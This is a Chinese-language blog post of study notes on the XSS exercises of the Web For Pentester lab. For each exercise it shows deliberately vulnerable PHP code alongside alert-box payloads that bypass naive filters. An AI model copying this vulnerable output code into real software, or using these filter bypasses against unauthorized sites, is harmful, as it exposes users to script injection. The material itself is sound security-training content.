Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给温习一遍。
Example1:(简单无过滤)
<?php
echo $_GET["name"];
?>
页面没有过滤任何参数,想传啥就传啥,可以直接传参
example1.php?name=<script>alert(/xss/)</script>

Example2:(简单参数屏蔽)
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
对于<script>,</script>两个参数进行了屏蔽,但是没有做大小写限制,因此可以直接通过大小写的方式绕过
example2.php?name=<sCriPt>alert(/xss/)</sCriPt>

Example3:(大小写参数屏蔽)
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
/i 代表着无视大小写,因此我们需要使用其他方式,常用的img方式或者使用标签<a>或者svg方式测试,或者使用双script方式绕过(写到example4的时候才发现example3应该检测的是双sciprt绕过orz,这里补一下)
example3.php?name=<img src=“x” onerror=alert(/hellworld/)>
或者
example3.php?name=<S<script>cript>alert(/hellworld/)</S</script>cript>

Example4:(Script屏蔽)
if (preg_match('/script/i', $_GET["name"]))
{
die("error");
}
这时候就不能出现任何script语句,因此使用上述example3上的例子:使用img方式弹出
example4.php?name=<img src=“x” onerror=alert(/hellworld/)>

Example5:(alert屏蔽)
if (preg_match('/alert/i', $_GET["name"]))
{
die("error");
}
例子5出现了对任意大小写alert的限制,因此需要使用其他方式,这里使用prompt或者confirm来弹窗
example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>

Example6:(闭合双引号绕过)
<script>
var $a= "<?php echo $_GET["name"]; ?>"; 需要注意这个引号,我们需要在在输入中将它闭合
</script>
直接在js语句中GET["name"] 这样子是有巨大风险的,可以直接输入命令绕过
example6.php?name=";alert(/xss/);"

Example7:(单引号绕过)
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
首先,htmlentities() 函数是把字符转换为 HTML 实体,因此可以使用单引号绕过’
example7.php?name=';alert(/xss/);'

Example8:(PHP_SELF)
<?php
require_once '../header.php'; if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
这段代码 一种是通过post方式输入,然后通过htmlentities实体化,这种方式单引号绕过便会失效
但是后面还有一段 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
我们可以想办法,把" method="POST">这个给注释掉,然后这样子的话在from里面就可以执行xss
因此执行
example8.php/"><script>alert('XSS')</script>//

Example9:(location.hash)
<?php require_once '../header.php'; ?>
<script>
document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>
首先依旧在script内,且执行了location.hash.substring(1)
查阅相关资料可知:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
因此可构建payload
example9.php#<script>alert('XSS')</script>
后面查阅资料发现只有IE才能弹出,无奈macos只有chorme和firefox无法测试orz
XSS篇到此结束
参考文档:
国光大佬的学习记录:https://www.sqlsec.com/2020/05/pentesterlab.html
W3school:https://www.w3school.com.cn/jsref/prop_loc_hash.asp
CTF中PHP知识汇总:https://www.restran.net/2016/09/26/php-security-notes/
Web For Pentester 学习笔记 - XSS篇的更多相关文章
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- PHP学习笔记 - 进阶篇(6)
PHP学习笔记- 进阶篇(6) 会话控制(session与cookie) 当前的Cookie为: cookie简介 Cookie是存储在客户端浏览器中的数据,我们通过Cookie来跟踪与存储用户数据. ...
- PHP学习笔记 - 进阶篇(11)
PHP学习笔记 - 进阶篇(11) 数据库操作 PHP支持哪些数据库 PHP通过安装相应的扩展来实现数据库操作,现代应用程序的设计离不开数据库的应用,当前主流的数据库有MsSQL,MySQL,Syba ...
- PHP学习笔记 - 进阶篇(10)
PHP学习笔记 - 进阶篇(10) 异常处理 抛出一个异常 从PHP5开始,PHP支持异常处理,异常处理是面向对象一个重要特性,PHP代码中的异常通过throw抛出,异常抛出之后,后面的代码将不会再被 ...
- PHP学习笔记 - 进阶篇(9)
PHP学习笔记 - 进阶篇(9) 图形图像操作 GD库简介 GD指的是Graphic Device,PHP的GD库是用来处理图形的扩展库,通过GD库提供的一系列API,可以对图像进行处理或者直接生成新 ...
- PHP学习笔记 - 进阶篇(8)
PHP学习笔记 - 进阶篇(8) 日期与时间 取得当前的Unix时间戳 UNIX 时间戳(英文叫做:timestamp)是 PHP 中关于时间与日期的一个很重要的概念,它表示从 1970年1月1日 0 ...
- PHP学习笔记 - 进阶篇(7)
PHP学习笔记 - 进阶篇(7) 文件操作 读取文件内容 PHP具有丰富的文件操作函数,最简单的读取文件的函数为file_get_contents,可以将整个文件全部读取到一个字符串中. $conte ...
- PHP学习笔记 - 进阶篇(4)
PHP学习笔记 - 进阶篇(4) 字符串操作 字符串介绍 PHP开发中,我们遇到最多的可能就是字符串. 字符串变量用于包含字符串的值. 一个字符串 通过下面的3种方法来定义: 1.单引号 2.双引号 ...
- PHP学习笔记 - 进阶篇(5)
PHP学习笔记 - 进阶篇(5) 正则表达式 什么叫正则表达式 正则表达式是对字符串进行操作的一种逻辑公式,就是用一些特定的字符组合成一个规则字符串,称之为正则匹配模式. $p = '/apple/' ...
随机推荐
- 循序渐进VUE+Element 前端应用开发(15)--- 用户管理模块的处理
在前面随笔介绍了ABP+Vue前后端的整合处理,包括介绍了ABP的后端设计,以及前端对ABP接口API的ES6的封装,通过JS的继承类处理,极大减少了重复臃肿的代码,可以简化对后端API接口的封装,而 ...
- Ethical Hacking - NETWORK PENETRATION TESTING(13)
Nmap Nmap is a network discovery tool that can be used to gather detailed information about any clie ...
- layui 数据表格自带的导出Excel,身份证等E+/000问题解决
layui数据表格的工具栏自带导出Excel 会将身份证等 长整数的 自动变成E+并且 后面有000.从而导致数据不能完整导出. 解决方案: 1.先下载Excel的插件包.将压缩包内的两个js放到 l ...
- java8之Stream流处理
简介 Stream 流处理,首先要澄清的是 java8 中的 Stream 与 I/O 流 InputStream 和 OutputStream 是完全不同的概念. Stream 机制是针对集合迭代器 ...
- CCNA - Part12 - 路由协议 (1) - 静态路由,动态路由 RIP
路由器 在之前关于路由器的介绍中,我们知道它是网络互联的核心设备,用于连接不同的网络,在网络之间转发 IP 数据报.对于路由器来说,路由表是其内部最为重要的构成组件.当路由器需要转发数据时,就会按照路 ...
- CSMA/CD ,现在的交换式以太网还用吗?谈全双工,半双工与CSMA/CD的关系
我们知道:以太网访问控制用的是CSMA/CD,即载波侦听多点接入/ 冲突检测,是以广播的方式将数据发送到所有端口: 我们还知道:交换机能主动学习端口所接设备的MAC地址,在获知该端口的MAC 地址后, ...
- 使用matlab进行傅里叶分析和滤波
傅里叶分析 公式法 下例 是将振幅为1的5Hz正弦波和振幅为0.5的10Hz正弦波相加之后进行傅里叶分析. clear all N=512; dt=0.02; n=0:N-1; t=n*dt; x=s ...
- 【laravel】基于jwt实现用户认证
安装及基础配置 使用 composer 安装 # 建议使用1.0以上版本 composer require tymon/jwt-auth .*@rc 进行一些配置 有些文档会说要添加 Tymon\JW ...
- JVM详解之:汇编角度理解本地变量的生命周期
目录 简介 本地变量的生命周期 举例说明 优化的原因 总结 简介 java方法中定义的变量,它的生命周期是什么样的呢?是不是一定要等到方法结束,这个创建的对象才会被回收呢? 带着这个问题我们来看一下今 ...
- Java进阶专题(十一) 想理解JVM看了这篇文章,就知道了!(中)
前言 上次讲解了JVM内存相关知识,今天继续JVM专题. JVM垃圾回收算法 什么是垃圾回收 程序的运行必然需要申请内存资源,无效的对象资源如果不及时处理就会一直占有内存资源,最终将导致内存溢 ...